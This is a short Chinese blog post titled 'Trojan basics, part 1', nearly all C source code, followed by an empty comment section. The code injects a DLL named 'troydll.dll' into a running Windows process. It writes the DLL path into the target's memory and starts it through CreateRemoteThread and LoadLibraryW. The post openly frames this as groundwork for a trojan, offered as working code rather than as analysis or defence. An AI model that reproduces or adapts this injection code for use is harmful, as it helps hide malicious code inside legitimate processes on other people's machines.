木馬基礎之一

源代碼如下:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

void CheckError ( int, int, char *); //出錯處理函數

PDWORD pdwThreadId; 
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;

void main(int argc,char **argv)
{
 int iReturnCode;
 char lpDllFullPathName[MAX_PATH];
 WCHAR pszLibFileName[MAX_PATH]={0};

 dwRemoteProcessId = 4000; 
 strcpy(lpDllFullPathName, "d://troydll.dll");
 //將DLL文件全路徑的ANSI碼轉換成UNICODE碼
 iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
  lpDllFullPathName, strlen(lpDllFullPathName),
  pszLibFileName, MAX_PATH);
 CheckError(iReturnCode, 0, "MultByteToWideChar");
 //打開遠程進程
 hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允許創建線程 
  PROCESS_VM_OPERATION | //允許VM操作
  PROCESS_VM_WRITE, //允許VM寫
  FALSE, dwRemoteProcessId ); 
 CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
 //計算DLL路徑名需要的內存空間
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
 CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
 //將DLL的路徑名複製到遠程進程的內存空間
 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
 CheckError(iReturnCode, false, "WriteProcessMemory");
 //計算LoadLibraryW的入口地址 
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
   GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
 CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
 //啓動遠程線程,通過遠程線程調用用戶的DLL文件 
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
 CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
 //等待遠程線程退出
 WaitForSingleObject(hRemoteThread, INFINITE);
 //清場處理
 if (pszLibFileRemote != NULL)
 {
  VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
 }
 if (hRemoteThread != NULL) 
 {
  CloseHandle(hRemoteThread );
 }
 if (hRemoteProcess!= NULL) 
 {
  CloseHandle(hRemoteProcess);
 }
}

//錯誤處理函數CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
 if(iReturnCode==iErrorCode)
 {
  printf("%s Error:%d/n/n", pErrorMsg, GetLastError());
  //清場處理
  if (pszLibFileRemote != NULL)
  {
   VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
  }
  if (hRemoteThread != NULL) 
  {
   CloseHandle(hRemoteThread );
  }
  if (hRemoteProcess!= NULL)
  {
   CloseHandle(hRemoteProcess);
  }
  exit(0);
 }
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章